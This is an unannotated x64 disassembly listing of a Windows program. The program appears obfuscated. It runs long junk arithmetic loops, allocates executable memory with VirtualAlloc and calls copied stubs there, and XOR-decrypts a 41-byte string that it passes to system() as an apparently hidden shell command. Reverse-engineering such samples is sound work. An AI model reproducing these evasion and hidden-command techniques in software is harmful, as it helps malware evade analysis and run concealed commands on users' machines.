jmp 0x140009731
lea r14d, [rsi - 0x80000000]
mov esi, 0x80000000
add edi, esi
sub edi, r14d
lea rcx, [rbp + 0x1800]
cmp edi, 0xffffffff
jne 0x140009750
call fcn.1400198a0
mov ecx, eax
jmp 0x140009790
inc edi
call fcn.1400198a0
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x140009787
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140009787
lea rcx, [rbp + 0x1800]
call fcn.1400198a0
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x140009771
shr rcx, 0x20
mov esi, 0x80000000
lea edx, [rcx + r14]
lea eax, [rdx + rsi]
lea r8d, [rdx - 0x80000000]
cmp edx, esi
cmovae r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, r15
call r12
mov dword [rsp + 0x40], eax
movaps xmm11, xmm8
movaps xmm1, xmm10
mov edi, 2
nop
lea rcx, [rbp + 0x1800]
call fcn.1400198a0
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm11, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x1400097c0
movaps xmm14, xmm15
subsd xmm14, xmm13
divsd xmm11, xmm1
mulsd xmm11, xmm14
addsd xmm11, xmm13
movaps xmm12, xmm8
movaps xmm1, xmm10
mov edi, 2
lea rcx, [rbp + 0x1800]
call fcn.1400198a0
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm12, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x140009814
divsd xmm12, xmm1
mulsd xmm12, xmm14
addsd xmm12, xmm13
movaps xmm6, xmm12
andps xmm6, xmmword [0x140025450]
movaps xmm0, xmm11
call sub.api_ms_win_crt_math_l1_1_0.dll_cos
movaps xmm7, xmm0
movaps xmm0, xmm12
call sub.api_ms_win_crt_math_l1_1_0.dll_sin
mulsd xmm7, xmm0
addsd xmm6, xmm10
movaps xmm0, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_log
addsd xmm7, xmm0
movaps xmm0, xmm11
call sub.api_ms_win_crt_math_l1_1_0.dll_exp
subsd xmm7, xmm0
movsd xmm1, qword [rsp + 0x48]
addsd xmm7, xmm1
movsd qword [rsp + 0x48], xmm7
movaps xmm0, xmm8
movaps xmm2, xmm10
mov edi, 2
lea rcx, [rbp + 0x1800]
call fcn.1400198a0
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rdi, 1
jne 0x1400098b1
divsd xmm0, xmm2
mulsd xmm0, xmm14
addsd xmm0, xmm13
movsd xmm1, qword [0x1400253a8]
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x48]
subsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movaps xmm0, xmm8
movaps xmm2, xmm10
mov edi, 2
nop word [rax + rax]
lea rcx, [rbp + 0x1800]
call fcn.1400198a0
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rdi, 1
jne 0x140009920
divsd xmm0, xmm2
mulsd xmm0, xmm14
addsd xmm0, xmm13
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
movsd xmm1, qword [rsp + 0x48]
mulsd xmm0, xmm1
movsd qword [rsp + 0x48], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x398], xmm0
xor r15d, r15d
mov qword [rbp + 0x3a8], r15
mov qword [rbp + 0x3b0], r15
lea r8d, [rdi + 6]
lea rdx, str.random
lea rcx, [rbp + 0x398]
call fcn.140018640
nop
lea rdi, [rbp + 0x398]
cmp qword [rbp + 0x3b0], 0x10
jb 0x1400099c1
mov rdi, qword [rbp + 0x398]
mov rcx, rdi
jmp 0x1400099c8
lea rcx, [rbp + 0x398]
mov rdx, rdi
mov rsi, qword [rbp + 0x3a8]
add rsi, rcx
cmp rdx, rsi
je 0x140009a27
nop word [rax + rax]
lea rcx, [rbp + 0x1800]
call fcn.1400198a0
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x140009a17
nop word [rax + rax]
lea rcx, [rbp + 0x1800]
call fcn.1400198a0
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x140009a00
shr rax, 0x20
add al, 0x61
mov byte [rdi], al
inc rdi
cmp rdi, rsi
jne 0x1400099e0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2e0], xmm1
mov qword [rbp + 0x2f0], r15
mov ecx, 0x190
call fcn.1400219c8
mov qword [rbp + 0x2e0], rax
lea r14, [rax + 0x190]
mov qword [rbp + 0x2f0], r14
xor edx, edx
mov r8d, 0x190
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x2e8], r14
mov rsi, qword [rbp + 0x2e0]
cmp rsi, r14
je 0x140009aac
nop dword [rax + rax]
lea rdx, [rbp + 0x1800]
lea rcx, [rbp + 0x280]
call fcn.140017450
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x140009a80
mov r14, qword [rbp + 0x2e8]
mov rsi, qword [rbp + 0x2e0]
mov dword [rbp + 0x368], 0xffffff9c
mov dword [rbp + 0x36c], 0x64
cmp rsi, r14
je 0x140009b00
nop word [rax + rax]
mov edi, dword [rsi]
lea rdx, [rbp + 0x1800]
lea rcx, [rbp + 0x368]
call fcn.140017450
add eax, edi
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x140009ad0
mov r14, qword [rbp + 0x2e8]
mov rsi, qword [rbp + 0x2e0]
mov r8, r14
sub r8, rsi
sar r8, 2
xor r9d, r9d
mov rdx, r14
mov rcx, rsi
call fcn.14001a1d0
mov r8d, r15d
mov rax, qword [rbp + 0x2e0]
mov rdx, r15
mov r9, qword [rbp + 0x2e8]
mov rcx, r9
sub rcx, rax
add rcx, 3
shr rcx, 2
cmp rax, r9
cmova rcx, r15
test rcx, rcx
je 0x140009ba1
cmp rcx, 8
jb 0x140009ba1
and rcx, 0xfffffffffffffff8
xorps xmm1, xmm1
xorps xmm2, xmm2
nop word [rax + rax]
movdqu xmm0, xmmword [rax]
paddd xmm1, xmm0
movdqu xmm0, xmmword [rax + 0x10]
paddd xmm2, xmm0
add rax, 0x20
add rdx, 8
cmp rdx, rcx
jne 0x140009b60
paddd xmm1, xmm2
movdqa xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd r8d, xmm1
cmp rax, r9
je 0x140009bbc
nop word [rax + rax]
add r8d, dword [rax]
add rax, 4
cmp rax, r9
jne 0x140009bb0
mov eax, dword [rsp + 0x40]
add eax, r8d
mov dword [rsp + 0x40], eax
mov eax, dword [rbp + 0x280]
mov esi, 0x80000000
cmp eax, esi
lea r14d, [rax + rsi]
jb 0x140009be1
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0x284]
add eax, esi
sub eax, r14d
lea rcx, [rbp + 0x1800]
cmp eax, 0xffffffff
jne 0x140009c01
call fcn.1400198a0
mov ecx, eax
jmp 0x140009c42
lea edi, [rax + 1]
call fcn.1400198a0
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x140009c39
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140009c39
lea rcx, [rbp + 0x1800]
call fcn.1400198a0
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x140009c23
shr rcx, 0x20
mov esi, 0x80000000
add ecx, r14d
lea eax, [rcx - 0x80000000]
lea edi, [rcx + rsi]
cmp ecx, esi
cmovae edi, eax
mov eax, dword [rbp + 0x280]
cmp eax, esi
lea r15d, [rax + rsi]
jb 0x140009c68
lea r15d, [rax - 0x80000000]
mov eax, dword [rbp + 0x284]
cmp eax, esi
jae 0x140009c76
add eax, esi
jmp 0x140009c7b
add eax, 0x80000000
sub eax, r15d
lea rcx, [rbp + 0x1800]
cmp eax, 0xffffffff
jne 0x140009c93
call fcn.1400198a0
mov ecx, eax
jmp 0x140009cdf
lea esi, [rax + 1]
call fcn.1400198a0
mov r14d, esi
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jae 0x140009cd6
mov eax, esi
neg eax
xor edx, edx
div esi
mov esi, edx
cmp ecx, edx
jae 0x140009cd6
nop word [rax + rax]
lea rcx, [rbp + 0x1800]
call fcn.1400198a0
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jb 0x140009cc0
shr rcx, 0x20
mov esi, 0x80000000
add ecx, r15d
lea eax, [rcx - 0x80000000]
lea r8d, [rcx + rsi]
cmp ecx, esi
cmovae r8d, eax
mov ecx, edi
test edi, edi
mov eax, 1
cmove ecx, eax
mov eax, r8d
sub eax, edi
cdq
idiv ecx
imul edi, r8d
add eax, edi
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
and eax, 0x80000001
jge 0x140009d28
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
mov eax, dword [rbp + 0x280]
lea r14d, [rax + rsi]
jne 0x140009dd1
cmp eax, esi
jb 0x140009d45
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0x284]
cmp eax, esi
jae 0x140009d53
add eax, esi
jmp 0x140009d58
add eax, 0x80000000
sub eax, r14d
lea rcx, [rbp + 0x1800]
cmp eax, 0xffffffff
jne 0x140009d70
call fcn.1400198a0
mov ecx, eax
jmp 0x140009db1
lea edi, [rax + 1]
call fcn.1400198a0
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x140009da8
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140009da8
lea rcx, [rbp + 0x1800]
call fcn.1400198a0
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x140009d92
shr rcx, 0x20
mov esi, 0x80000000
add ecx, r14d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
jmp 0x140009e6b
cmp eax, esi
jb 0x140009ddc
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0x284]
cmp eax, esi
jae 0x140009dea
add eax, esi
jmp 0x140009def
add eax, 0x80000000
sub eax, r14d
lea rcx, [rbp + 0x1800]
cmp eax, 0xffffffff
jne 0x140009e07
call fcn.1400198a0
mov ecx, eax
jmp 0x140009e4f
lea edi, [rax + 1]
call fcn.1400198a0
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x140009e46
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140009e46
nop dword [rax]
lea rcx, [rbp + 0x1800]
call fcn.1400198a0
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x140009e30
shr rcx, 0x20
mov esi, 0x80000000
lea edx, [rcx + r14]
lea eax, [rdx + rsi]
lea ecx, [rdx - 0x80000000]
cmp edx, esi
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
xor ebx, ebx
lea r12d, [rbx + 5]
mov r15d, ebx
nop dword [rax]
nop dword [rax + rax]
mov eax, dword [rbp + 0x280]
cmp eax, esi
lea r14d, [rax + rsi]
jb 0x140009e95
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0x284]
cmp eax, esi
jae 0x140009ea3
add eax, esi
jmp 0x140009ea8
add eax, 0x80000000
sub eax, r14d
lea rcx, [rbp + 0x1800]
cmp eax, 0xffffffff
jne 0x140009ec0
call fcn.1400198a0
mov ecx, eax
jmp 0x140009f01
lea edi, [rax + 1]
call fcn.1400198a0
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x140009ef8
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140009ef8
lea rcx, [rbp + 0x1800]
call fcn.1400198a0
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x140009ee2
shr rcx, 0x20
mov esi, 0x80000000
add ecx, r14d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
movaps xmm1, xmm8
movaps xmm2, xmm10
mov edi, 2
nop dword [rax]
lea rcx, [rbp + 0x1800]
call fcn.1400198a0
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x140009f30
movaps xmm3, xmm15
subsd xmm3, xmm13
divsd xmm1, xmm2
mulsd xmm1, xmm3
addsd xmm1, xmm13
movsd xmm0, qword [rsp + 0x48]
addsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
test r15b, 1
jne 0x14000a02d
mov eax, dword [rbp + 0x280]
cmp eax, esi
lea r14d, [rax + rsi]
jb 0x140009fa3
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0x284]
cmp eax, esi
jae 0x140009fb1
add eax, esi
jmp 0x140009fb6
add eax, 0x80000000
sub eax, r14d
lea rcx, [rbp + 0x1800]
cmp eax, 0xffffffff
jne 0x140009fce
call fcn.1400198a0
mov ecx, eax
jmp 0x14000a00f
lea edi, [rax + 1]
call fcn.1400198a0
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000a006
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000a006
lea rcx, [rbp + 0x1800]
call fcn.1400198a0
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x140009ff0
shr rcx, 0x20
mov esi, 0x80000000
add ecx, r14d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
jmp 0x14000a090
movaps xmm1, xmm8
movaps xmm2, xmm10
mov edi, 2
nop word [rax + rax]
lea rcx, [rbp + 0x1800]
call fcn.1400198a0
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000a040
movsd xmm0, qword [rsp + 0x48]
divsd xmm1, xmm2
mulsd xmm1, xmm3
addsd xmm1, xmm13
addsd xmm1, xmm10
divsd xmm0, xmm1
movsd qword [rsp + 0x48], xmm0
inc r15d
cmp r15d, 5
jl 0x140009e80
sub r12, 1
jne 0x140009e71
mov rbx, qword [rsp + 0x50]
mov rcx, qword [rbp + 0x2e0]
test rcx, rcx
je 0x14000a10b
mov rax, qword [rbp + 0x2f0]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a0ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a160
call fcn.1400219c0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x2e0], xmm0
xor r14d, r14d
mov qword [rbp + 0x2f0], r14
jmp 0x14000a10e
xor r14d, r14d
mov rdx, qword [rbp + 0x3b0]
cmp rdx, 0x10
jb 0x14000a14b
inc rdx
mov rcx, qword [rbp + 0x398]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a146
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a167
call fcn.1400219c0
inc r13d
cmp r13d, 0x186a0
jl 0x1400095d0
jmp 0x140009584
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov eax, dword [rsp + 0x40]
mov rbx, qword [rbp + reloc.SHELL32.dll_IsUserAnAdmin]
test rbx, rbx
je 0x14000a20a
mov rdi, qword [rbp + 0x2b0]
cmp rbx, rdi
je 0x14000a1b2
mov esi, 1
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000a1a2
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
add rbx, 8
cmp rbx, rdi
jne 0x14000a193
mov rbx, qword [rbp + reloc.SHELL32.dll_IsUserAnAdmin]
mov rax, qword [rbp + 0x2b8]
sub rax, rbx
sar rax, 3
lea rdx, [rax*8]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000a1f0
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a1f0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.1400219c0
xorps xmm0, xmm0
movdqu xmmword [rbp + reloc.SHELL32.dll_IsUserAnAdmin], xmm0
mov qword [rbp + 0x2b8], r14
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x74], 0x226
xorps xmm0, xmm0
movups xmmword [rbp + 0x320], xmm0
lea rsi, [rbp + 0x3ff8]
movabs r15, 0xff00ff00ff00ff00
mov r14, r15
mov qword [rbp + 0x328], r15
mov qword [rbp + 0x330], rsi
mov rdi, qword [rsi]
xor rdi, r15
mov qword [rbp + 0x320], rdi
xor r13d, r13d
mov qword [rsi], r13
mov ecx, r13d
mov rax, qword [0x14002e440]
lea r12, [0x140017c50]
test rax, rax
je 0x14000a29e
lea rdx, [0x140000000]
cmp rax, r12
je 0x14000a28b
inc ecx
mov rax, qword [rdx + rcx*8 + 0x2e440]
test rax, rax
jne 0x14000a275
jmp 0x14000a29e
mov eax, ecx
mov r8, qword [rdx + rax*8 + 0x2f750]
test r8, r8
jne 0x14000a3ad
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000a2c9
mov r8, r13
lea r13d, [rax + 3]
jmp 0x14000a383
mov rax, r12
mov rcx, r8
mov r13d, 3
mov edx, r13d
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000a2e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rsi, qword [rbp + 0x330]
mov r14, qword [rbp + 0x328]
mov rdi, qword [rbp + 0x320]
mov rax, qword [0x14002ea90]
lea rcx, [0x140000000]
mov qword [rcx + rax*8 + 0x2e440], r12
mov qword [rcx + rax*8 + 0x2f750], r8
inc rax
mov qword [0x14002ea90], rax
jmp 0x14000a3b3
mov r13d, 3
lea rdx, [rsp + 0x74]
mov rcx, rbx
call r8
nop
xor rdi, r14
mov qword [rbp + 0x320], rdi
mov qword [rsi], rdi
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140024d60]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [0x140024d70]
movups xmmword [rbp + 0x120], xmm1
movsd xmm0, qword [0x140024d80]
movsd qword [rbp + 0x130], xmm0
movzx eax, byte [0x140024d88]
mov byte [rbp + 0x138], al
xor r14d, r14d
mov r9d, r14d
cmp dword [0x14002c018], 2
jl 0x14000a645
movdqa xmm12, xmmword [0x1400253f0]
movdqa xmm6, xmmword [0x140025460]
mov eax, 6
movd xmm13, eax
movdqa xmm7, xmmword [0x140025470]
mov eax, 4
movd xmm14, eax
movdqa xmm15, xmmword [0x140025480]
mov eax, 0x1f
movd xmm11, eax
movdqa xmm0, xmmword [str.________________]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x110]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm12
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm13
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm14
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmm15
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140025410]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm12
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm13
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm14
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmm15
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140025410]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x28
jl 0x14000a480
cmp r9d, 0x29
jge 0x14000a6b4
movsxd rax, r9d
lea r10, [rbp + 0x110]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx r8d, r9b
sub r8b, cl
add r8b, 0x20
add r8b, r8b
mov eax, 0x214d0215
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x7b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x29
jl 0x14000a660
lea rax, [rbp + 0x110]
mov qword [rbp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x338], xmm0
lea rsi, [rbp + 0x3ff8]
mov qword [rbp + 0x340], r15
mov qword [rbp + 0x348], rsi
mov rdi, qword [rsi]
xor rdi, r15
mov qword [rbp + 0x338], rdi
mov qword [rsi], r14
mov ecx, r14d
mov rax, qword [0x14002e770]
test rax, rax
je 0x14000a739
lea rdx, [0x140017c20]
lea r8, [0x140000000]
nop dword [rax + rax]
cmp rax, rdx
je 0x14000a726
inc ecx
mov rax, qword [r8 + rcx*8 + 0x2e770]
test rax, rax
jne 0x14000a710
jmp 0x14000a739
mov eax, ecx
mov r8, qword [r8 + rax*8 + 0x2e120]
test r8, r8
jne 0x14000a842
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000a760
mov r8, r14
jmp 0x14000a813
lea rax, [0x140017c20]
mov rcx, r8
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000a770
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rsi, qword [rbp + 0x348]
mov r15, qword [rbp + 0x340]
mov rdi, qword [rbp + 0x338]
mov rax, qword [0x14002d7a0]
lea rcx, [0x140017c20]
lea rdx, [0x140000000]
mov qword [rdx + rax*8 + 0x2e770], rcx
mov qword [rdx + rax*8 + 0x2e120], r8
inc rax
mov qword [0x14002d7a0], rax
lea rdx, [rbp + 0x40]
mov rcx, rbx
call r8
nop
xor rdi, r15
mov qword [rbp + 0x338], rdi
mov qword [rsi], rdi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x2b90]
call fcn.140016170
mov dword [rbp + 0x2c0], 0xffffff9c
mov dword [rbp + 0x2c4], 0x64
movaps xmm0, xmmword [0x140025440]
movups xmmword [rbp + 0x2f8], xmm0
mov dword [rsp + 0x40], r14d
movsd qword [rsp + 0x48], xmm8
lea rcx, [rbp + 0x48]
call fcn.140001ae0
mov rax, qword [rbp + 0x48]
add rax, 0x5f5e100
mov qword [rsp + 0x68], rax
lea rcx, [rbp + 0x308]
call fcn.140002990
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x308], xmm0
mov qword [rbp + 0x318], r14
lea rcx, [rbp + 0x50]
call fcn.140017550
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 8], rcx
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x308]
call fcn.140016090
nop
lea rcx, [rbp + 8]
call fcn.140016050
nop
lea rcx, [rbp + 0x50]
call fcn.140016050
lea rcx, [rbp + 0x58]
call fcn.1400175a0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x10], rcx
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x308]
call fcn.140016090
nop
lea rcx, [rbp + 0x10]
call fcn.140016050
nop
lea rcx, [rbp + 0x58]
call fcn.140016050
lea rcx, [rbp + 0x60]
call fcn.1400175d0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x18], rcx
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x308]
